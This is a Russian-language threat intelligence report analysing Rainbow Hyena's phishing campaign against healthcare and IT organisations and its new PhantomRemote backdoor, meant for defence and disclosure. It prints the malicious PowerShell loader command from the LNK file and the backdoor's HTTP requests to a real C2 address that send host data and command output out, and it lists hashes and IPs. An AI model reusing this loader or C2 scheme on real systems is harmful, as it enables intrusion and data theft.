Rainbow Hyena снова атакует: новый бэкдор и смена тактик
В конце июня с помощью решения BI.ZONE Mail Security в российских компаниях была зафиксирована серия фишинговых писем с вредоносными вложениями. Целями атаки стали организации из сфер здравоохранения и IT. Злоумышленники рассылали письма с подлинных, но скомпрометированных почтовых адресов реальных компаний.
Специалисты BI.ZONE Threat Intelligence проанализировали вредоносные файлы и сделали вывод о том, что за атакой стоит кластер Rainbow Hyena. Кроме того, они обнаружили новый инструмент в арсенале злоумышленников — самописный бэкдор PhantomRemote.
- Злоумышленники используют методы маскировки, в частности polyglot-файлы
, что позволяет с большей вероятностью пройти почтовые фильтры и доставить фишинговое письмо. - Атакующие практически отказались от распространения вредоносных документов, предпочитая альтернативные форматы, например LNK‑файлы.
- Кластеры хактивистской направленности все чаще фокусируются на более традиционной активности — шпионаже и получении финансовой выгоды, при этом усложняя методы и инструменты.
Злоумышленники использовали легитимные почтовые адреса, принадлежащие скомпрометированным организациям, для рассылки фишинговых писем со следующими темами: «Транспортная накладная ТТН № 391‑44 от 26.06.2025», «Договор РН83‑371».
К письмам были приложены polyglot‑файлы с расширением .zip. Файлы представляли собой динамически подключаемую библиотеку формата PE32+, содержащую отвлекающий документ и ZIP‑архив с LNK‑файлом.
LNK-файл из архива выполняет следующие действия:
- Поиск polyglot-файла с расширением
.zip:- в текущей директории исполнения;
- рекурсивно в директории профиля пользователя
%USERPROFILE%; - рекурсивно во временной директории
%TEMP%.
rundll32.exe, вызывая экспортируемую функцию EntryPoint.%TEMP%.cmd /c start.Пример команды из LNK‑файла Договор_РН83_37_изменения.pdf.lnk:
powershell.exe -WindowStyle hidden -c "$r=$(Get-Location).Path + '\Договор_РН83_37_изменения.zip';if(Test-Path $r) { rundll32.exe $r,EntryPoint; } else { $f=$(Get-ChildItem -Path '%userprofile%' -Recurse -Filter'Договор_РН83_37_изменения.zip' | Select-Object-First 1); if($f) { $r=$f.FullName; rundll32.exe$f.FullName,EntryPoint; }; };if(-Not (Test-Path $r)) { $r=$(Get-ChildItem -Path '%temp%' -Recurse -Filter"Договор_РН83_37_изменения.zip" | Select-Object -First 1).FullName; }; [System.IO.File]::WriteAllBytes([System.IO.Path]::Combine('%temp%', 'Договор_РН83_37_изменения.pdf'), ([System.IO.File]::ReadAllBytes($r) | Select-Object -Skip 1107968 -First 3280549)); cmd /c start /B$([System.IO.Path]::Combine('%temp%', 'Договор_РН83_37_изменения.pdf'));
Транспортная_накладная_ТТН_№391-44_от_26.06.2025.xls
Бэкдор PhantomRemote представляет собой динамически подключаемую библиотеку (DLL) формата PE32+, реализованную на C++. PhantomRemote собирает информацию о скомпрометированной системе, загружает с сервера атакующих другие исполняемые файлы, а также выполняет команды в интерпретаторе командной строки cmd.exe.
Вредоносный код находится в функции DllMain. Экспортируемая функция EntryPoint проверяет значение глобальной переменной. Если оно равно 1, тогда программа вызывает функцию Sleep() на 5 секунд в бесконечном цикле.
PhantomRemote собирает информацию о скомпрометированной системе, а также создает рабочую директорию, в которую впоследствии будут загружаться дополнительные файлы. Бэкдор выполняет следующие действия:
- Получение GUID с помощью
CoCreateGuid(). В случае ошибки подставляется строкаUNKNOWN. - Получение имени ПК с помощью
GetComputerNameW(). В случае ошибки подставляется строкаUNKNOWN. - Получение имени домена с помощью
GetComputerNameExW(ComputerNameDnsDomain). В случае ошибки подставляется строкаUNKNOWN. - Создание рабочей директории в
%PROGRAMDATA%. В образцах PhantomRemote рабочая директория имеет следующие имена:%PROGRAMDATA%\YandexCloud,%PROGRAMDATA%\MicrosoftAppStore.
После сбора первичной информации о скомпрометированной системе бэкдор подключается к управляющему серверу. Коммуникация с управляющим сервером осуществляется по протоколу HTTP, используя GET- и POST‑запросы. Вредоносная программа формирует GET‑запрос и обращается к сетевому адресу вида:
91.239.148[.]21/poll?id=&hostname= &domain=
Внутри данного сетевого запроса PhantomRemote отправляет собранную информацию о скомпрометированной системе.
Пример GET-запроса:
GET poll?id=&hostname= &domain= HTTP/1.1 Host: 91.239.148[.]21 User-Agent: YandexCloud/1.0
При взаимодействии с управляющим сервером бэкдор использует следующие значения строки заголовка User-Agent: YandexUpdate/1.0, MicrosoftAppStore/2001.0.
После первичного сетевого запроса на управляющий сервер PhantomRemote может получить от него следующие команды:
| Формат команды | Описание |
|---|---|
cmd:<cmdCommand>|<commandID> |
Исполнение команды |
download:<URL>|<commandID> |
Загрузка файла по указанной в команде ссылке. Загружаемый файл сохраняется в созданную ранее рабочую директорию, имя файла для сохранения на диске берется из указанной в команде ссылки. Загрузка реализована на WinAPI-функциях |
После того как команда выполнилась, PhantomRemote отправляет на управляющий сервер в POST-запросе ответ вида:
POST /result HTTP/1.1 Host: 91.239.148[.]21 User-Agent: YandexCloud/1.0 Content-Type: application/x-www-form-urlencoded
id=&hostname= &domain= &result= &commandId=
В случае если поступила команда на скачивание файла по указанной ссылке, возможны два варианта:
- Если скачивание файла успешно, то на управляющий сервер отправляется ответ:
POST /result HTTP/1.1 Host: 91.239.148[.]21 User-Agent: YandexCloud/1.0 Content-Type: application/x-www-form-urlencoded
id=
&hostname= &domain= &result=Download successful: %PROGRAMDATA%\YandexCloud\ &commandId= - Если скачивание не удалось, то отправляется:
POST /result HTTP/1.1 Host: 91.239.148[.]21 User-Agent: YandexCloud/1.0 Content-Type: application/x-www-form-urlencoded
id=
&hostname= &domain= &result=Download failed: &commandId=
После исполнения команд бэкдор вызывает функцию Sleep() на 10 секунд. Если какая-либо из стадий подключения не удалась, тогда вредоносная программа вызывает функцию Sleep() на 1 секунду.
Договор_РН83_37_изменения.zip
75a26a138783032ee18dcfc713b1b34c04d364d7cc98379352e89757d62521271cb410cbed9b24a77a74cd34c96b30f8de794fe85eb1d9f188f516bd7d6020cc81a86728
Договор_РН83_изменения.zip
7e52be17fd33a281c70fec14805113a86942e07e7d08781cba571211a08e779838e72e9a204544fc8a8cac64bb07825a7bd58c54cb3e605707e2d72206ac23a1657bfe1e
Транспортная_накладная_ТТН_№391-44_от_26.06.2025.zip
be990a49fa1e3789ebc5c55961038029851157c01da6e85ffa94ded7f42cab19aa8528d601f12bb3f4359fae1138a194237914f4fcdbf9e472804e428a765ad820f399beb586cf958334415777719bf512304fbd775b7e726ba6cf6d9a6463a62797c976120180664c78d6bba282aaff0eab749cfa8a28e432f7cbf9c61dec8de8f4800fd27e031465967d019076e700deb20dcbc989c99c49a18dc1d8f84394d3373481dbac89d11e373dbd413c9e2963b8cca256d3960285854614e2f2e78dba023713b3dd67af369d5d08b49a7ef89cfb317a540996c3425fcdc2d9a4fd39a55cd20d55e00d3cace3f637b8888213b683235791e3106971269259026e05fdc2a4008f703ff2a4d32642877e57429a698337a1be374f3ebb9556ccdc794389dc149c042747ddf4f58c7ac6bf23e6a02ce1fc77e3e3f7d9abb9696904684d8e32f36818e1939c8122dcc73299a1b7f6b6b700b288453eb954669b5c7ac712ecf1e0179c2a14a9dd1032479ab5bf8ed945ef9a22ebd4999d4d4304d7ad1a8d0dacb300739d4dcaade299b28f8be3f171628a7358720ca6c508a92ba1d1d9e5c498dcaf53af7cd071c52d70b92e41db70d4ca342c8dc32eff7883c861a9324a1fa529e5c115232cbbc60330d37cef5c20860bafc63b11e14d1e75697c1dff0bcf719f3509c597a8955e49af384ce5e6e0b21323409db8cd8ed2a7ed251656d18a47262571a87e70238bd6afd376560e9cfdc94bfacae72f36b6aa9fb6e769eb9c1dff0bcf719f3509c597a8955e49af384ce5e6e0b21323409db8cd8ed2a7ed251656d18a47262571a87e70238bd6afd376560e9cfdc94bfacae72f36b6aa9fb6e769eb9c9f8e2e09e37142a21c16b37ba310e009efe10ad0b49e6889597b5c3254139b92ed72064cda53c49641b05e00cde09d47260da927ec403f01ac388605b785eac98306f9c2185.225.17[.]104188.127.254[.]4491.239.148[.]21
Договор_РН83_изменения.zip
Договор_РН83_37_изменения.pdf.lnk
Транспортная_накладная_ТТН_№391-44_от_26.06.2025.xls.lnk
Договор_РН83_изменения.pdf.lnk
%TEMP%\Договор_РН83_37_изменения.pdf
%TEMP%\Договор_РН83_изменения.pdf
%TEMP%\Транспортная_накладная_ТТН_№391-44_от_26.06.2025.xls
| Тактика | Техника | Процедура |
|---|---|---|
| Initial Access |
Phishing: Spearphishing Attachment |
Rainbow Hyena использует вложения в фишинговые электронные письма для распространения ВПО |
| Execution |
Command and Scripting Interpreter: PowerShell |
Rainbow Hyena использует вредоносный LNK-файл для запуска команды PowerShell: |
|
Command and Scripting Interpreter: Windows Command Shell |
Rainbow Hyena использует Rainbow Hyena использует PhantomRemote для выполнения поступающих от сервера управления команд в интерпретаторе |
|
|
Native API |
Rainbow Hyena использует в PhantomRemote WinAPI-функции:
|
|
|
User Execution: Malicious File |
Жертва должна запустить вредоносный LNK-файл, чтобы инициировать процесс компрометации системы |
|
| Defense Evasion |
Hide Artifacts: Hidden Window |
Rainbow Hyena использует |
|
Masquerading: Masquerade File Type |
Rainbow Hyena использует вредоносные polyglot-файлы, которые при изменении расширения по-разному воспринимаются системой |
|
|
Obfuscated Files or Information |
Rainbow Hyena использует polyglot-файл, в котором содержится отвлекающий документ |
|
|
System Binary Proxy Execution: Rundll32 |
Rainbow Hyena использует |
|
| Discovery |
System Information Discovery |
Rainbow Hyena использует PhantomRemote для получения информации о скомпрометированной системе: названия компьютера, имени домена |
|
System Owner/User Discovery |
Rainbow Hyena использует PhantomRemote для получения названия компьютера жертвы |
|
| Command and Control |
Application Layer Protocol: Web Protocols |
Rainbow Hyena использует протокол HTTP для коммуникации с управляющим сервером |
|
Ingress Tool Transfer |
Rainbow Hyena использует PhantomRemote для скачивания файлов по ссылке, переданной в команде от управляющего сервера |
|
| Exfiltration |
Exfiltration Over C2 Channel |
Rainbow Hyena использует PhantomRemote для отправки результатов выполнения команд на управляющий сервер |
Фишинговые рассылки традиционно популярны в атаках на организации. Чтобы защитить почту, можно применять специализированные сервисы для фильтрации нежелательных писем. Одно из таких решений — BI.ZONE Mail Security. Оно инспектирует каждое электронное сообщение, в итоге избавляясь от нелегитимных. Для этого используются более 600 механизмов фильтрации, реализованных на основе машинного обучения, статистического, сигнатурного и эвристического анализа. При этом безопасные письма доставляются вовремя.
Чтобы защититься от атак кластера Rainbow Hyena и подобных им, важно не только обнаружить попытку проникновения в сеть, но и вовремя нейтрализовать угрозу. Поэтому мы рекомендуем внедрять решения для защиты конечных точек от сложных угроз, например BI.ZONE EDR. Такой продукт поможет отследить атаку на ранней стадии, а затем оперативно отреагировать на нее в автоматическом режиме или с помощью команды кибербезопасности.